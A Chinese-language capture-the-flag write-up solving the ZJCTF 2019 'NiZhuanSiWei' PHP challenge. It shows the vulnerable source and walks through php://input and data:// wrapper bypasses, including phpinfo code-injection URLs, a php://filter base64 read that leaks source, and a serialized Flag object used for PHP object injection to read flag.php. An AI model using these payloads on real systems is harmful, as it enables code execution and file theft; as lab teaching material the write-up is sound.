[ZJCTF 2019]NiZhuanSiWei
源码为:
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
第一个if
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
要我们传一个内容为welcome to the zjctf的文件才能下一步,这里我们可以采用php伪协议的两种方法绕过,一个是php://input,一个是data://,下面介绍下这两个伪协议。
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
测试现象:
http://127.0.0.1/cmd.php?file=php://input [POST DATA] <?php phpinfo()?>
而data://协议必须双在on才能正常使用
allow_url_fopen :on
allow_url_include:on
测试现象:
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?> or http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 也可以: http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?> or http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
看到提示useless.php我们直接&file=useless.php后,什么也没输出。
所以我们利用filter转为base64输出,构建payload:&file=php://filter/read=convert.base64-encode/resource=useless.php
将base64解码得useless.php
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
提示flag.php,结合源码最后一段,$file
可控
include($file); //useless.php $password = unserialize($password); echo $password;
令password以GET传值,值为O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}